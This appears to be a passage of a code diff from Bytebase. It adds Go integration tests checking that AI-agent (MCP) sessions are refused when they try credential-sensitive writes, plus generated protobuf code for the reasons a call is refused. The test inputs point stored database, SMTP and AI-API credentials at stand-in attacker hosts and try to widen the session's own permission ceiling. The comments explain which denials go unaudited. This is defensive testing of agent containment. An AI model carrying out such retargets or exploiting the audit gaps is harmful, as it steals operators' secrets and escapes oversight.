+ Username: "bytebase",
+ Password: storedDBPassword,
+ Host: realHost,
+ Port: "5432",
+ }},
+ },
+ }))
+ a.NoError(err, "precondition: an instance whose stored credential the retarget can inherit")
+
+ session := openMCPSession(ctx, t, ctl, ctl.authInterceptor.token)
+ defer session.Close()
+
+ // update_mask names only the destination, so the stored password rides
+ // along untouched; validate_only makes Bytebase dial it right now.
+ retargeted := callAPIOnSession(ctx, t, session, "InstanceService/UpdateDataSource", map[string]any{
+ "name": instance.Msg.Name,
+ "dataSource": map[string]any{"id": dataSourceID, "host": "attacker.example.com"},
+ "updateMask": "host",
+ "validateOnly": true,
+ })
+ t.Logf("MCP UpdateDataSource{host → attacker, validateOnly} → status=%d error=%q",
+ retargeted.Status, retargeted.Error)
+
+ a.Equal(http.StatusForbidden, retargeted.Status,
+ "the retarget must be refused before Bytebase dials anything")
+ a.Contains(retargeted.Error, "not available to MCP sessions")
+ a.Contains(retargeted.Error, "principal other than the caller",
+ "a database user is a principal too; the denial should say so")
+
+ // Nothing moved. With validate_only the handler would not have persisted
+ // anyway, so this pins the persisting variant rather than the one-shot: a
+ // gate that let the call through without validate_only would show here.
+ after, err := ctl.instanceServiceClient.GetInstance(ctx, connect.NewRequest(&v1pb.GetInstanceRequest{
+ Name: instance.Msg.Name,
+ }))
+ a.NoError(err)
+ a.Len(after.Msg.DataSources, 1)
+ a.Equal(realHost, after.Msg.DataSources[0].Host,
+ "the data source must still point where the operator put it")
+
+ // The same retarget WITHOUT validate_only, denied identically. The pair is
+ // an A/B on one flag: same method, same session, same refusal — and only
+ // one of them is auditable, which is the point of the assertions below.
+ persisting := callAPIOnSession(ctx, t, session, "InstanceService/UpdateDataSource", map[string]any{
+ "name": instance.Msg.Name,
+ "dataSource": map[string]any{"id": dataSourceID, "host": "attacker.example.com"},
+ "updateMask": "host",
+ })
+ a.Equal(http.StatusForbidden, persisting.Status)
+
+ workspace, err := ctl.workspaceServiceClient.GetWorkspace(ctx, connect.NewRequest(&v1pb.GetWorkspaceRequest{
+ Name: "workspaces/-",
+ }))
+ a.NoError(err)
+ rows := deniedMCPRows(ctx, t, ctl, workspace.Msg.Name, "/bytebase.v1.InstanceService/UpdateDataSource")
+ t.Logf("audit rows for the two denied retargets (one validate-only): %d", len(rows))
+
+ // A THIRD way a denial goes unrecorded, distinct from the two the
+ // interceptor's doc comment already names. UpdateDataSource carries
+ // audit = true and is not carved out of workspace-parent resolution, so
+ // the persisting attempt above is on the audit page. The validate-only one
+ // is not: createAuditLog's first statement returns nil for any request
+ // whose validate_only field is set (audit.go), before it does anything
+ // with the denial.
+ //
+ // That skip is right for a permitted call, which changed nothing worth
+ // recording, and backwards for a refused one — and validate_only is
+ // precisely the variant that leaves no other trace, since it dials the
+ // caller's host and persists nothing. Fixing it means exempting policy
+ // denials from the skip, which is interceptor work this PR does not do:
+ // BOT-57. This assertion is what tells whoever does that it landed.
+ a.Len(rows, 1,
+ "exactly one of the two denials is auditable: the validate-only retarget is skipped "+
+ "by createAuditLog before the denial is ever considered")
+
+ // The console keeps working — the gate is on the internal MCP chain only.
+ _, err = ctl.instanceServiceClient.UpdateDataSource(ctx, connect.NewRequest(&v1pb.UpdateDataSourceRequest{
+ Name: instance.Msg.Name,
+ DataSource: &v1pb.DataSource{Id: dataSourceID, Port: "5433"},
+ UpdateMask: &fieldmaskpb.FieldMask{Paths: []string{"port"}},
+ }))
+ a.NoError(err, "a normal session must still be able to update a data source")
+}
+
+// TestMCPCannotRewriteItsOwnCeiling covers the one method refused for what it
+// governs rather than for what it hands out.
+//
+// SettingService/UpdateSetting writes value.workspace_profile.mcp_capability,
+// which IS the MCP ceiling — the workspace switch that decides whether MCP
+// sessions are served at all, and at 1b-2 whether they are served read-only.
+// A session that can widen its own ceiling is not bounded by it, and "flip the
+// workspace MCP switch" stops being one of the three levers that contain a
+// runaway agent. The same method also keeps the stored SMTP password when
+// value.email.smtp omits it while accepting a new host, which hands over the
+// relay that carries password resets — TestEmailSetting's persisting twin.
+//
+// The ceiling assertion is the load-bearing one: it reads the setting back
+// through the console afterwards, so this discriminates a gate that refuses
+// before dispatch from one that refuses after the store write.
+func TestMCPCannotRewriteItsOwnCeiling(t *testing.T) {
+ t.Parallel()
+ a := require.New(t)
+ ctx := context.Background()
+ ctl := &controller{}
+
+ ctx, err := ctl.StartServerWithExternalPg(ctx)
+ a.NoError(err)
+ defer ctl.Close(ctx)
+
+ workspace, err := ctl.workspaceServiceClient.GetWorkspace(ctx, connect.NewRequest(&v1pb.GetWorkspaceRequest{
+ Name: "workspaces/-",
+ }))
+ a.NoError(err)
+
+ before, err := ctl.settingServiceClient.GetSetting(ctx, connect.NewRequest(&v1pb.GetSettingRequest{
+ Name: "settings/WORKSPACE_PROFILE",
+ }))
+ a.NoError(err)
+ ceilingBefore := before.Msg.GetValue().GetWorkspaceProfile().GetMcpCapability()
+
+ // Seed the two settings the retarget vectors merge into. Without a stored
+ // setting the handler answers NotFound, so an unguarded build would report
+ // 404 rather than the retarget landing — the assertions below would pass
+ // for the wrong reason, and the RED state would prove nothing.
+ const storedSMTPPassword = "stored-smtp-secret"
+ const storedAPIKey = "stored-api-key"
+ _, err = ctl.settingServiceClient.UpdateSetting(ctx, connect.NewRequest(&v1pb.UpdateSettingRequest{
+ Setting: &v1pb.Setting{
+ Name: "settings/EMAIL",
+ Value: &v1pb.SettingValue{Value: &v1pb.SettingValue_Email{Email: &v1pb.EmailSetting{
+ Type: v1pb.EmailSetting_SMTP,
+ Config: &v1pb.EmailSetting_Smtp{Smtp: &v1pb.EmailSetting_SMTPConfig{
+ Host: "smtp.example.com", Port: 587, Username: "bytebase", Password: storedSMTPPassword,
+ }},
+ }}},
+ },
+ UpdateMask: &fieldmaskpb.FieldMask{Paths: []string{"value.email.from", "value.email.type", "value.email.smtp"}},
+ AllowMissing: true,
+ }))
+ a.NoError(err, "precondition: a stored SMTP config for the retarget to inherit")
+ _, err = ctl.settingServiceClient.UpdateSetting(ctx, connect.NewRequest(&v1pb.UpdateSettingRequest{
+ Setting: &v1pb.Setting{
+ Name: "settings/AI",
+ Value: &v1pb.SettingValue{Value: &v1pb.SettingValue_Ai{Ai: &v1pb.AISetting{
+ Enabled: true, Provider: v1pb.AISetting_OPEN_AI,
+ Endpoint: "https://api.openai.com", ApiKey: storedAPIKey, Model: "gpt-4",
+ }}},
+ },
+ UpdateMask: &fieldmaskpb.FieldMask{Paths: []string{"value.ai.enabled", "value.ai.provider", "value.ai.endpoint", "value.ai.api_key", "value.ai.model"}},
+ AllowMissing: true,
+ }))
+ a.NoError(err, "precondition: a stored AI key for the retarget to inherit")
+
+ session := openMCPSession(ctx, t, ctl, ctl.authInterceptor.token)
+ defer session.Close()
+
+ widened := callAPIOnSession(ctx, t, session, "SettingService/UpdateSetting", map[string]any{
+ "setting": map[string]any{
+ "name": "settings/WORKSPACE_PROFILE",
+ "value": map[string]any{"workspaceProfile": map[string]any{"mcpCapability": "READ_WRITE"}},
+ },
+ "updateMask": "value.workspaceProfile.mcpCapability",
+ })
+ redirected := callAPIOnSession(ctx, t, session, "SettingService/UpdateSetting", map[string]any{
+ "setting": map[string]any{
+ "name": "settings/EMAIL",
+ "value": map[string]any{"email": map[string]any{
+ "from": "[email protected]",
+ "type": "SMTP",
+ "smtp": map[string]any{"host": "smtp.attacker.example.com", "port": 587, "username": "collector"},
+ }},
+ },
+ "updateMask": "value.email.smtp",
+ })
+
+ // The third vector, and the one that crosses the tenant boundary in SaaS:
+ // a mask naming only the endpoint keeps the stored API key, and
+ // AIService/Chat then posts to that endpoint with the key in a header. The
+ // stored key there is Bytebase's own platform key, seeded per workspace.
+ retargeted := callAPIOnSession(ctx, t, session, "SettingService/UpdateSetting", map[string]any{
+ "setting": map[string]any{
+ "name": "settings/AI",
+ "value": map[string]any{"ai": map[string]any{"endpoint": "https://collector.attacker.example.com"}},
+ },
+ "updateMask": "value.ai.endpoint",
+ })
+
+ t.Logf("MCP UpdateSetting{mcp_capability: READ_WRITE} → status=%d error=%q", widened.Status, widened.Error)
+ t.Logf("MCP UpdateSetting{email.smtp → attacker} → status=%d error=%q", redirected.Status, redirected.Error)
+ t.Logf("MCP UpdateSetting{ai.endpoint → attacker} → status=%d error=%q", retargeted.Status, retargeted.Error)
+
+ for name, out := range map[string]mcpCallResult{
+ "ceiling": widened,
+ "smtp relay": redirected,
+ "ai endpoint": retargeted,
+ } {
+ a.Equal(http.StatusForbidden, out.Status, "the %s write must be refused before dispatch", name)
+ a.Contains(out.Error, "not available to MCP sessions", "the %s write must be refused by the gate", name)
+ a.Contains(out.Error, "the switch meant to contain it",
+ "the %s denial must name the boundary, not a credential it did not hand out", name)
+ }
+
+ after, err := ctl.settingServiceClient.GetSetting(ctx, connect.NewRequest(&v1pb.GetSettingRequest{
+ Name: "settings/WORKSPACE_PROFILE",
+ }))
+ a.NoError(err)
+ a.Equal(ceilingBefore, after.Msg.GetValue().GetWorkspaceProfile().GetMcpCapability(),
+ "the session must not have moved the ceiling that governs it")
+
+ // The destinations are still ours. Reads blank the secrets themselves, so
+ // the host and endpoint are what there is to check — and they are the whole
+ // vector: the stored secret travels to whatever address is recorded here.
+ email, err := ctl.settingServiceClient.GetSetting(ctx, connect.NewRequest(&v1pb.GetSettingRequest{
+ Name: "settings/EMAIL",
+ }))
+ a.NoError(err)
+ a.Equal("smtp.example.com", email.Msg.GetValue().GetEmail().GetSmtp().GetHost(),
+ "the mail relay that carries password resets must not have moved")
+ ai, err := ctl.settingServiceClient.GetSetting(ctx, connect.NewRequest(&v1pb.GetSettingRequest{
+ Name: "settings/AI",
+ }))
+ a.NoError(err)
+ a.Equal("https://api.openai.com", ai.Msg.GetValue().GetAi().GetEndpoint(),
+ "the endpoint the stored API key is sent to must not have moved")
+
+ // UpdateSetting is audited and is NOT one of the reset-flow methods carved
+ // out of workspace-parent resolution, so unlike those its denials do reach
+ // the operator's audit page. Three denied attempts, three rows.
+ rows := deniedMCPRows(ctx, t, ctl, workspace.Msg.Name, "/bytebase.v1.SettingService/UpdateSetting")
+ a.Len(rows, 3, "each denied settings write must be on the audit page")
+ for _, row := range rows {
+ a.Equal(int32(connect.CodePermissionDenied), row.Status.GetCode())
+ a.NotEmpty(row.McpDelegation.GetCorrelationId(),
+ "the denial must be correlatable back to the agent session")
+ }
+
+ // The console keeps working: the gate is on the internal MCP chain only.
+ // An explicit value rather than an echo of ceilingBefore, which the fixture
+ // leaves UNSPECIFIED — validateMCPCapability rejects writing that back, so
+ // echoing it would fail for a reason that has nothing to do with the gate.
+ _, err = ctl.settingServiceClient.UpdateSetting(ctx, connect.NewRequest(&v1pb.UpdateSettingRequest{
+ Setting: &v1pb.Setting{
+ Name: "settings/WORKSPACE_PROFILE",
+ Value: &v1pb.SettingValue{Value: &v1pb.SettingValue_WorkspaceProfile{
+ WorkspaceProfile: &v1pb.WorkspaceProfileSetting{
+ McpCapability: v1pb.WorkspaceProfileSetting_READ_ONLY,
+ },
+ }},
+ },
+ UpdateMask: &fieldmaskpb.FieldMask{Paths: []string{"value.workspace_profile.mcp_capability"}},
+ }))
+ a.NoError(err, "a normal session must still be able to write workspace settings")
+
+ moved, err := ctl.settingServiceClient.GetSetting(ctx, connect.NewRequest(&v1pb.GetSettingRequest{
+ Name: "settings/WORKSPACE_PROFILE",
+ }))
+ a.NoError(err)
+ a.Equal(v1pb.WorkspaceProfileSetting_READ_ONLY, moved.Msg.GetValue().GetWorkspaceProfile().GetMcpCapability(),
+ "the console write must actually land — otherwise the denial above proves nothing about the gate")
+}
+
+// TestMCPResetFlowDenialsAreSilent pins a gap the audit annotation does NOT
+// close.
+//
+// #21162 gave RequestPasswordReset and ResetPassword `audit = true`, which
+// looks like it should give their MCP denials a row — needAudit reads that
+// annotation and nothing else. It does not, and the reason is one layer down.
+//
+// These three RPCs are allow_without_credential, so an unauthenticated caller
+// could name any workspace, and auditing against an unvalidated workspace would
+// let anyone write rows into someone else's. createAuditLog therefore carves
+// them out (handlerValidatedWorkspaceMethod, audit.go): their audit parent
+// comes only from what the HANDLER validated via common.SetAuditWorkspaceID,
+// and the ordinary workspace fallback is explicitly skipped for them.
+//
+// The FORBIDDEN gate refuses before dispatch, so the handler never runs, so
+// nothing ever calls SetAuditWorkspaceID, so there is no parent and no row.
+// The workspace is not actually unknown here — the internal chain put a
+// credential-verified one in the context — the carve-out just cannot use it.
+//
+// So the silent set is seven, not the four an annotation audit would suggest.
+// Closing it means letting the audit path use the delegated workspace, or the
+// typed denial record: 1b-2's work, not this PR's. This test is the tripwire.
+func TestMCPResetFlowDenialsAreSilent(t *testing.T) {
+ t.Parallel()
+ a := require.New(t)
+ ctx := context.Background()
+ ctl := &controller{}
+
+ ctx, err := ctl.StartServerWithExternalPg(ctx)
+ a.NoError(err)
+ defer ctl.Close(ctx)
+
+ workspace, err := ctl.workspaceServiceClient.GetWorkspace(ctx, connect.NewRequest(&v1pb.GetWorkspaceRequest{
+ Name: "workspaces/-",
+ }))
+ a.NoError(err)
+ workspaceName := workspace.Msg.Name
+
+ session := openMCPSession(ctx, t, ctl, ctl.authInterceptor.token)
+ defer session.Close()
+
+ // The positive control goes first and through the same helper: UpdateUser is
+ // FORBIDDEN, audited, and NOT carved out, so it must produce a row. Without
+ // it the zeroes below would also be satisfied by a query that finds nothing
+ // for an unrelated reason.
+ control := callAPIOnSession(ctx, t, session, "UserService/UpdateUser", map[string]any{
+ "user": map[string]any{"name": "users/[email protected]", "password": "2048bytebase"},
+ "updateMask": "password",
+ })
+
+ probes := map[string]mcpCallResult{
+ "RequestPasswordReset": callAPIOnSession(ctx, t, session, "AuthService/RequestPasswordReset", map[string]any{
+ "email": "[email protected]",
+ "workspace": workspaceName,
+ }),
+ "ResetPassword": callAPIOnSession(ctx, t, session, "AuthService/ResetPassword", map[string]any{
+ "email": "[email protected]",
+ "code": "000000",
+ "newPassword": "2048bytebase",
+ }),
+ "SendEmailLoginCode": callAPIOnSession(ctx, t, session, "AuthService/SendEmailLoginCode", map[string]any{
+ "email": "[email protected]",
+ "workspace": workspaceName,
+ }),
+ }
+ for name, out := range probes {
+ t.Logf("MCP %s → status=%d error=%q", name, out.Status, out.Error)
+ }
+ for name, out := range probes {
+ a.Equal(http.StatusForbidden, out.Status, "%s must be refused", name)
+ a.Contains(out.Error, "not available to MCP sessions", "%s must be refused by the gate", name)
+ }
+
+ a.Equal(http.StatusForbidden, control.Status)
+ a.Len(deniedMCPRows(ctx, t, ctl, workspaceName, "/bytebase.v1.UserService/UpdateUser"), 1,
+ "positive control: a FORBIDDEN, audited, non-carved-out method must produce a denial row")
+
+ for method, label := range map[string]string{
+ "/bytebase.v1.AuthService/RequestPasswordReset": "RequestPasswordReset",
+ "/bytebase.v1.AuthService/ResetPassword": "ResetPassword",
+ "/bytebase.v1.AuthService/SendEmailLoginCode": "SendEmailLoginCode",
+ } {
+ rows := deniedMCPRows(ctx, t, ctl, workspaceName, method)
+ t.Logf("audit rows for denied %s: %d", label, len(rows))
+ a.Empty(rows,
+ "%s carries audit = true, yet its MCP denial writes no row: the audit parent for this "+
+ "method comes only from the handler, and the gate refuses before the handler runs", label)
+ }
+}
+
+// TestMCPCredentialMintsLeaveDiscovery pins the other half of the
+// classification: an agent must not be OFFERED work it can never do, but a call
+// that arrives anyway — from memory, or from a skill written before the
+// annotation — must still meet the gate's actionable denial rather than
+// "unknown operation".
+//
+// This runs over a live session rather than over the index directly, because
+// what matters is what the agent's own tools return.
+func TestMCPCredentialMintsLeaveDiscovery(t *testing.T) {
+ t.Parallel()
+ a := require.New(t)
+ ctx := context.Background()
+ ctl := &controller{}
+
+ ctx, err := ctl.StartServerWithExternalPg(ctx)
+ a.NoError(err)
+ defer ctl.Close(ctx)
+
+ session := openMCPSession(ctx, t, ctl, ctl.authInterceptor.token)
+ defer session.Close()
+
+ // Browsing the service must not list the forbidden methods, while the
+ // reads of that same service stay on offer — the assertion is that the
+ // classification is per method, not per service.
+ //
+ // Each row carries a `served` method as a positive control. Without one,
+ // NotContains over an opaque text blob passes for the wrong reason as soon
+ // as search_api returns anything that is not an endpoint listing — an
+ // unknown service name, an error string, an empty result — and a test that
+ // cannot fail is worse here than no test, because this is the assertion
+ // standing between an agent and a menu of work it can never do.
+ for _, row := range []struct {
+ service string
+ forbidden []string
+ served string
+ }{
+ {"ServiceAccountService", []string{"CreateServiceAccount", "UpdateServiceAccount"}, "GetServiceAccount"},
+ {"IdentityProviderService", []string{"CreateIdentityProvider", "UpdateIdentityProvider", "TestIdentityProvider"}, "GetIdentityProvider"},
+ {"WorkloadIdentityService", []string{"CreateWorkloadIdentity", "UpdateWorkloadIdentity"}, "GetWorkloadIdentity"},
+ {"UserService", []string{"CreateUser", "UpdateEmail"}, "GetUser"},
+ {"WorkspaceService", []string{"RotateDirectorySyncToken"}, "GetIamPolicy"},
+ {"SettingService", []string{"TestEmailSetting"}, "GetSetting"},
+ } {
+ listing := searchAPIOnSession(ctx, t, session, map[string]any{"service": row.service})
+ a.Contains(listing, row.service+"/"+row.served,
+ "positive control: %s must really be an endpoint listing", row.service)
+ for _, method := range row.forbidden {
+ a.NotContains(listing, row.service+"/"+method,
+ "search_api must not offer %s/%s, which the session can never call", row.service, method)
+ }
+ }
+
+ // The service list is the entry point into discovery. Every service here
+ // keeps at least its reads, so all of them stay listed — a service does
+ // drop out when every one of its methods is forbidden, which is what
+ // happened to AuthService and is pinned in the mcp package. The per-method
+ // hiding is the browse assertion above; this only checks the batch did not
+ // take a whole service off the menu.
+ services := searchAPIOnSession(ctx, t, session, map[string]any{})
+ for _, service := range []string{
+ "ServiceAccountService", "IdentityProviderService", "WorkloadIdentityService",
+ "UserService", "WorkspaceService", "SettingService",
+ } {
+ a.Contains(services, service, "%s keeps its reads, so it must stay listed", service)
+ }
+
+ // Still resolvable by operation ID, and a call still reaches the gate.
+ for _, operation := range []string{
+ "ServiceAccountService/CreateServiceAccount",
+ "ServiceAccountService/UpdateServiceAccount",
+ "WorkspaceService/RotateDirectorySyncToken",
+ "UserService/CreateUser",
+ "IdentityProviderService/CreateIdentityProvider",
+ "IdentityProviderService/UpdateIdentityProvider",
+ "IdentityProviderService/TestIdentityProvider",
+ "WorkloadIdentityService/CreateWorkloadIdentity",
+ "WorkloadIdentityService/UpdateWorkloadIdentity",
+ "SettingService/TestEmailSetting",
+ "UserService/UpdateEmail",
+ } {
+ detail := searchAPIOnSession(ctx, t, session, map[string]any{"operationId": operation})
+ a.NotContains(detail, "Unknown operationId",
+ "%s must stay resolvable so the denial can explain itself", operation)
+ }
+
+ // The reads of the same services are unaffected — the batch classified
+ // credential issuance, not the services that happen to host it.
+ saListing := searchAPIOnSession(ctx, t, session, map[string]any{"service": "ServiceAccountService"})
+ a.Contains(saListing, "ServiceAccountService/GetServiceAccount",
+ "the reads must still be discoverable")
+ a.Contains(saListing, "ServiceAccountService/ListServiceAccounts")
+}
diff --git a/backend/tests/mcp_workspace_token_escape_test.go b/backend/tests/mcp_workspace_token_escape_test.go
index 39cfa054d8..69fd03dfe3 100644
--- a/backend/tests/mcp_workspace_token_escape_test.go
+++ b/backend/tests/mcp_workspace_token_escape_test.go
@@ -15,14 +15,21 @@ import (
)
// mcpCallResult is the slice of call_api's structured output these tests care
-// about: the status the agent sees, the error text, and any token the response
-// body carried.
+// about: the status the agent sees, the error text, and any credential the
+// response body carried. The internal chain answers connect JSON, which is
+// protojson, so the field names here are the camelCased ones an agent would
+// actually read — service_key arrives as serviceKey.
type mcpCallResult struct {
Status int `json:"status"`
Error string `json:"error"`
Response struct {
- Token string `json:"token"`
+ Token string `json:"token"`
+ ServiceKey string `json:"serviceKey"`
} `json:"response"`
+ // RawResponse is the response body as the agent received it, for the
+ // assertions that are about what a listing does NOT contain and would
+ // otherwise need a typed mirror of the whole message.
+ RawResponse string `json:"-"`
}
// callAPIViaMCP drives one call_api tool call over a live /mcp session bound to
@@ -54,6 +61,11 @@ func callAPIOnSession(ctx context.Context, t *testing.T, session *mcp.ClientSess
a.NoError(err)
var out mcpCallResult
a.NoError(json.Unmarshal(raw, &out))
+ var envelope struct {
+ Response json.RawMessage `json:"response"`
+ }
+ a.NoError(json.Unmarshal(raw, &envelope))
+ out.RawResponse = string(envelope.Response)
// A tool-level failure — a mistyped operationId, a transport error — leaves
// StructuredContent nil, which decodes to a zero status rather than an
// error. Without this the test would report a status mismatch that has
diff --git a/frontend/src/types/proto-es/v1/annotation_pb.d.ts b/frontend/src/types/proto-es/v1/annotation_pb.d.ts
index acc2849fcc..910f3072b9 100644
--- a/frontend/src/types/proto-es/v1/annotation_pb.d.ts
+++ b/frontend/src/types/proto-es/v1/annotation_pb.d.ts
@@ -91,6 +91,88 @@ export enum MCPMethodClass {
*/
export declare const MCPMethodClassSchema: GenEnum<MCPMethodClass>;
+/**
+ * Why an RPC is FORBIDDEN to MCP sessions. The mechanism, not the wording:
+ * each value names what its methods actually do, and the serving side turns
+ * that into a sentence. A denial whose stated reason has drifted from the
+ * mechanism is worse than a bare refusal, because it is the thing the next
+ * reader trusts — so a method changing what it does changes its reason here.
+ *
+ * @generated from enum bytebase.v1.MCPForbiddenReason
+ */
+export enum MCPForbiddenReason {
+ /**
+ * No reason recorded. The method is still denied — mcp_method_class is what
+ * enforces — and the denial falls back to generic wording.
+ *
+ * @generated from enum value: MCP_FORBIDDEN_REASON_UNSPECIFIED = 0;
+ */
+ MCP_FORBIDDEN_REASON_UNSPECIFIED = 0,
+
+ /**
+ * Puts a token for the caller's own principal in the response body.
+ *
+ * @generated from enum value: MINTS_CREDENTIAL = 1;
+ */
+ MINTS_CREDENTIAL = 1,
+
+ /**
+ * Drives the out-of-band reset flow that sets or delivers the secret a
+ * login accepts.
+ *
+ * @generated from enum value: RESETS_CREDENTIAL = 2;
+ */
+ RESETS_CREDENTIAL = 2,
+
+ /**
+ * Rewrites an account's own credentials, which would let the session log in
+ * as that account.
+ *
+ * @generated from enum value: TAKES_OVER_ACCOUNT = 3;
+ */
+ TAKES_OVER_ACCOUNT = 3,
+
+ /**
+ * Destroys the human's own login session.
+ *
+ * @generated from enum value: ENDS_SESSION = 4;
+ */
+ ENDS_SESSION = 4,
+
+ /**
+ * Destroys the caller's own workspace membership and mints a plain
+ * workspace token on the way out.
+ *
+ * @generated from enum value: ENDS_MEMBERSHIP = 5;
+ */
+ ENDS_MEMBERSHIP = 5,
+
+ /**
+ * Leaves someone holding a principal the caller is not — by issuing its
+ * credential, carrying an existing one out to a host the caller named,
+ * choosing what will later be trusted to mint one, or redirecting where one
+ * gets delivered.
+ *
+ * @generated from enum value: MINTS_CREDENTIAL_FOR_OTHERS = 6;
+ */
+ MINTS_CREDENTIAL_FOR_OTHERS = 6,
+
+ /**
+ * Rewrites the workspace configuration that governs the session making the
+ * call — the MCP switch itself, the sign-in and SSO settings, and the mail
+ * relay that carries credential resets. A session that can widen its own
+ * ceiling is not bounded by it.
+ *
+ * @generated from enum value: REWRITES_SESSION_BOUNDARY = 7;
+ */
+ REWRITES_SESSION_BOUNDARY = 7,
+}
+
+/**
+ * Describes the enum bytebase.v1.MCPForbiddenReason.
+ */
+export declare const MCPForbiddenReasonSchema: GenEnum<MCPForbiddenReason>;
+
/**
* Whether the method allows access without authentication credentials.
*
@@ -126,3 +208,13 @@ export declare const audit: GenExtension<MethodOptions, boolean>;
*/
export declare const mcp_method_class: GenExtension<MethodOptions, MCPMethodClass>;
+/**
+ * Why the method is forbidden to MCP sessions. Meaningful only alongside
+ * mcp_method_class = FORBIDDEN; the denial names it so the agent, and the
+ * operator reading the audit row, learn why rather than just that it was
+ * refused.
+ *
+ * @generated from extension: bytebase.v1.MCPForbiddenReason mcp_forbidden_reason = 100005;
+ */
+export declare const mcp_forbidden_reason: GenExtension<MethodOptions, MCPForbiddenReason>;
+
diff --git a/frontend/src/types/proto-es/v1/annotation_pb.js b/frontend/src/types/proto-es/v1/annotation_pb.js
index 67fdb7ecbc..6761aff96d 100644
--- a/frontend/src/types/proto-es/v1/annotation_pb.js
+++ b/frontend/src/types/proto-es/v1/annotation_pb.js
@@ -9,7 +9,7 @@ import { file_google_protobuf_descriptor } from "@bufbuild/protobuf/wkt";
* Describes the file v1/annotation.proto.
*/
export const file_v1_annotation = /*@__PURE__*/
- fileDesc("ChN2MS9hbm5vdGF0aW9uLnByb3RvEgtieXRlYmFzZS52MSo+CgpBdXRoTWV0aG9kEhsKF0FVVEhfTUVUSE9EX1VOU1BFQ0lGSUVEEAASBwoDSUFNEAESCgoGQ1VTVE9NEAIqVgoOTUNQTWV0aG9kQ2xhc3MSIAocTUNQX01FVEhPRF9DTEFTU19VTlNQRUNJRklFRBAAEggKBFJFQUQQARIJCgVXUklURRACEg0KCUZPUkJJRERFThADOloKGGFsbG93X3dpdGhvdXRfY3JlZGVudGlhbBIeLmdvb2dsZS5wcm90b2J1Zi5NZXRob2RPcHRpb25zGKCNBiABKAhSFmFsbG93V2l0aG91dENyZWRlbnRpYWw6QAoKcGVybWlzc2lvbhIeLmdvb2dsZS5wcm90b2J1Zi5NZXRob2RPcHRpb25zGKGNBiABKAlSCnBlcm1pc3Npb246WgoLYXV0aF9tZXRob2QSHi5nb29nbGUucHJvdG9idWYuTWV0aG9kT3B0aW9ucxiijQYgASgOMhcuYnl0ZWJhc2UudjEuQXV0aE1ldGhvZFIKYXV0aE1ldGhvZDo2CgVhdWRpdBIeLmdvb2dsZS5wcm90b2J1Zi5NZXRob2RPcHRpb25zGKONBiABKAhS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0Q3JlZGVudGlhbDpACgpwZXJtaXNzaW9uEh4uZ29vZ2xlLnByb3RvYnVmLk1ldGhvZE9wdGlvbnMYoY0GIAEoCVIKcGVybWlzc2lvbjpaCgthdXRoX21ldGhvZBIeLmdvb2dsZS5wcm90b2J1Zi5NZXRob2RPcHRpb25zGKKNBiABKA4yFy5ieXRlYmFzZS52MS5BdXRoTWV0aG9kUgphdXRoTWV0aG9kOjYKBWF1ZGl0Eh4uZ29vZ2xlLnByb3RvYnVmLk1ldGhvZE9wdGlvbnMYo40GIAEoCFIFYXVkaXQ6ZwoQbWNwX21ldGhvZF9jbGFzcxIeLmdvb2dsZS5wcm90b2J1Zi5NZXRob2RPcHRpb25zGKSNBiABKA4yGy5ieXRlYmFzZS52MS5NQ1BNZXRob2RDbGFzc1IObWNwTWV0aG9kQ2xhc3M6cwoUbWNwX2ZvcmJpZGRlbl9yZWFzb24SHi5nb29nbGUucHJvdG9idWYuTWV0aG9kT3B0aW9ucxiljQYgASgOMh8uYnl0ZWJhc2UudjEuTUNQRm9yYmlkZGVuUmVhc29uUhJtY3BGb3JiaWRkZW5SZWFzb25CpQEKD2NvbS5ieXRlYmFzZS52MUIPQW5ub3RhdGlvblByb3RvUAFaNGdpdGh1Yi5jb20vYnl0ZWJhc2UvYnl0ZWJhc2UvYmFja2VuZC9nZW5lcmF0ZWQtZ28vdjGiAgNCWFiqAgtCeXRlYmFzZS5WMcoCC0J5dGViYXNlXFYx4gIXQnl0ZWJhc2VcVjFcR1BCTWV0YWRhdGHqAgxCeXRlYmFzZTo6VjFiBnByb3RvMw", [file_google_protobuf_descriptor]);
/**
* Describes the enum bytebase.v1.AuthMethod.
@@ -42,6 +42,24 @@ export const MCPMethodClassSchema = /*@__PURE__*/
export const MCPMethodClass = /*@__PURE__*/
tsEnum(MCPMethodClassSchema);
+/**
+ * Describes the enum bytebase.v1.MCPForbiddenReason.
+ */
+export const MCPForbiddenReasonSchema = /*@__PURE__*/
+ enumDesc(file_v1_annotation, 2);
+
+/**
+ * Why an RPC is FORBIDDEN to MCP sessions. The mechanism, not the wording:
+ * each value names what its methods actually do, and the serving side turns
+ * that into a sentence. A denial whose stated reason has drifted from the
+ * mechanism is worse than a bare refusal, because it is the thing the next
+ * reader trusts — so a method changing what it does changes its reason here.
+ *
+ * @generated from enum bytebase.v1.MCPForbiddenReason
+ */
+export const MCPForbiddenReason = /*@__PURE__*/
+ tsEnum(MCPForbiddenReasonSchema);
+
/**
* Whether the method allows access without authentication credentials.
*
@@ -82,3 +100,14 @@ export const audit = /*@__PURE__*/
export const mcp_method_class = /*@__PURE__*/
extDesc(file_v1_annotation, 4);
+/**
+ * Why the method is forbidden to MCP sessions. Meaningful only alongside
+ * mcp_method_class = FORBIDDEN; the denial names it so the agent, and the
+ * operator reading the audit row, learn why rather than just that it was
+ * refused.
+ *
+ * @generated from extension: bytebase.v1.MCPForbiddenReason mcp_forbidden_reason = 100005;
+ */
+export const mcp_forbidden_reason = /*@__PURE__*/
+ extDesc(file_v1_annotation, 5);
+
diff --git a/frontend/src/types/proto-es/v1/auth_service_pb.js b/frontend/src/types/proto-es/v1/auth_service_pb.js
index b137a1d89b..4e6af8552f 100644
--- a/frontend/src/types/proto-es/v1/auth_service_pb.js
+++ b/frontend/src/types/proto-es/v1/auth_service_pb.js
@@ -12,7 +12,7 @@ import { file_v1_user_service } from "./user_service_pb";
* Describes the file v1/auth_service.proto.
*/
export const file_v1_auth_service = /*@__PURE__*/
